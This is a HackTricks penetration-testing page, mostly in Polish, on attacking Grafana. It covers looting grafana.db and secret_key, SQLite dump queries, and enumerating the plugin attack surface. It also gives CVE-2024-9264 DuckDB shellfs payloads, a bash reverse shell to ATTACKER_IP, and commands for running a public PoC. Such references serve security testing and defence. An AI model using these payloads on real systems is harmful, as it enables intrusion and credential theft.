Grafana
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Ciekawe rzeczy
- Główny plik konfiguracyjny zwykle znajduje się w
/etc/grafana/grafana.ini(Deb/RPM) i może zawierać wrażliwe wartości, takie jakadmin_user,admin_password,secret_key, ustawienia OAuth, SMTP creds i renderer tokens. - Domyślnie Grafana przechowuje dane w SQLite3 w
/var/lib/grafana/grafana.db. - Pliki provisioningowe są bardzo interesujące po uzyskaniu dostępu do hosta:
/etc/grafana/provisioning/datasources/*.yaml/etc/grafana/provisioning/plugins/*.yaml- W plikach provisioningowych obsługiwane jest rozwijanie zmiennych środowiskowych, więc leaked YAML często ujawnia zarówno sekrety, jak i nazwy zmiennych środowiskowych, które je zasilają.
- Zainstalowane pluginy zwykle znajdują się w
/var/lib/grafana/plugins. - W obrębie platformy, w zależności od roli, możesz zapraszać użytkowników, generować API keys / service account tokens, wyświetlać listę pluginów lub instalować nowe pluginy.
- Przeglądarka też jest źródłem (loot): Grafana udostępnia frontendowi nie‑sekretne konfiguracje datasource. Jeśli masz sesję Viewer (lub anonymous access jest włączony), sprawdź window.grafanaBootData w DevTools.
Przydatne sprawdzenia SQLite:
.tables
.schema data_source
SELECT id,org_id,name,type,url,access,is_default,json_data FROM data_source;
SELECT id,org_id,uid,login,email,is_admin FROM user;
SELECT id,org_id,uid,name,slug FROM dashboard;
Looting datasources and secrets
Grafana oddziela konfigurację czytelną w przeglądarce od zaszyfrowanych sekretów:
jsonDatajest widoczne dla użytkowników w przeglądarce i często wystarcza do wyliczenia hostów wewnętrznych, tenantów, trybów uwierzytelniania, nazw nagłówków, regionów AWS, indeksów Elasticsearch, tenantów Loki, URL-i Prometheus i podobnych danych rozpoznawczych.secureJsonDatajest szyfrowane po stronie serwera i nie jest już czytelne z poziomu przeglądarki po zapisaniu datasource.
Post-exploitation workflow:
- Dump
grafana.inii odzyskajsecret_key. - Loot
grafana.dbi pliki provisioning. - Enumerate datasources i konfigurację pluginów, aby znaleźć ponownie używalne poświadczenia i wewnętrzne endpointy.
- If migrating or replaying the database in another Grafana instance, zachowaj ten sam
secret_key, inaczej przechowywane hasła/tokens datasource nie odszyfrują się poprawnie.
Why secret_key matters in newer versions:
- Since Grafana v9, database secrets use envelope encryption.
- Grafana szyfruje sekrety przy użyciu kluczy szyfrowania danych (DEKs), a te DEKs są zaszyfrowane przy użyciu key encryption key (KEK) wyprowadzonego z
secret_key. - Z punktu widzenia atakującego,
grafana.db+secret_keyto para warta kradzieży.
Plugin attack surface
Traktuj pluginy jako część celu, a nie drobny dodatek:
- Wylicz je z filesystemu, z UI lub z API:
curl -s http://grafana.target/api/plugins | jq '.[].id'
- Starsze lub wtyczki firm trzecich regularnie rozszerzają zasięg Grafana’s do sieci wewnętrznych, ponieważ proxy’ują żądania HTTP lub wchodzą w interakcję z lokalnymi plikami/bazami danych.
- Ostatnie przykłady obejmują SSRF w Infinity plugin (
< 3.4.1) oraz ścieżki nadużyć, gdzie Image Renderer plugin przekształca inny błąd w full-read SSRF.
CVE-2024-9264 – SQL Expressions (DuckDB shellfs) post-auth RCE / LFI
Funkcja eksperymentalna SQL Expressions w Grafanie może wykonywać zapytania DuckDB, które osadzają tekst kontrolowany przez użytkownika. Niewystarczająca sanitacja pozwala atakującym łączyć instrukcje DuckDB i załadować rozszerzenie społecznościowe shellfs, które udostępnia polecenia shella przez wirtualne pliki oparte na potokach.
Impact
- Każdy uwierzytelniony użytkownik z rolą VIEWER lub wyższą może uzyskać wykonanie kodu jako użytkownik systemu Grafana (często grafana; czasami root w kontenerze) lub wykonać lokalne odczyty plików.
- Warunki wstępne powszechnie spełnione w rzeczywistych wdrożeniach:
- SQL Expressions enabled:
expressions.enabled = true duckdbbinary present in PATH on the server
Quick checks
- W UI/API, przejrzyj ustawienia administratora (Swagger:
/swagger-ui, endpoint/api/admin/settings) aby potwierdzić: expressions.enabledjest ustawione na true- Opcjonalnie: wersja, typy datasource i ogólne ustawienia hardeningu
- Shell na hoście:
which duckdbmusi zwracać ścieżkę dla ścieżki exploita poniżej.
Manual query pattern using DuckDB + shellfs
- Przebieg ataku (2 zapytania):
- Install and load the shellfs extension, run a command, redirect combined output to a temp file via pipe
- Read back the temp file using
read_blob
Example SQL Expressions payloads that get passed to DuckDB:
-- 1) Prepare shellfs and run command
SELECT 1; INSTALL shellfs FROM community; LOAD shellfs;
SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |');
-- 2) Read the output back
SELECT content FROM read_blob('/tmp/grafana_cmd_output');
Zastąp CMD poleceniem, którego chcesz użyć. W przypadku odczytu plików (LFI) możesz zamiast tego użyć funkcji plikowych DuckDB do odczytu plików lokalnych.
Przykład jednowierszowego reverse shell
bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"
Umieść to jako CMD w pierwszym zapytaniu, gdy masz listener: nc -lnvp 443.
Zautomatyzowany PoC
- Public PoC (built on cfreal’s ten framework):
- https://github.com/nollium/CVE-2024-9264
Przykład użycia
# Confirm execution context and UID
python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target
# Launch a reverse shell
python3 CVE-2024-9264.py -u <USER> -p <PASS> \
-c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \
http://grafana.target
Jeśli wyjście pokazuje uid=0(root), Grafana działa jako root (częste w niektórych kontenerach).
2025 client-side traversal / open redirect chain
The 2025 Grafana client-side traversal and open-redirect chain są już udokumentowane na bardziej ogólnych stronach dotyczących client-side. Użyj tych technik przeciwko ścieżkom specyficznym dla Grafana, takim jak plugin assets, dashboard script loaders oraz token-rotation redirects:
Referencje
- Grafana Advisory – CVE-2024-9264 (SQL Expressions RCE/LFI)
- Grafana docs – Add authentication for data source plugins (
jsonData,secureJsonData,window.grafanaBootData) - Grafana docs – Configure database encryption
- Grafana docs – Provision Grafana
- Cycode – One Plugin Away: Breaking Into Grafana from the Inside
- DuckDB shellfs community extension
- nollium/CVE-2024-9264 PoC
- cfreal/ten framework
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


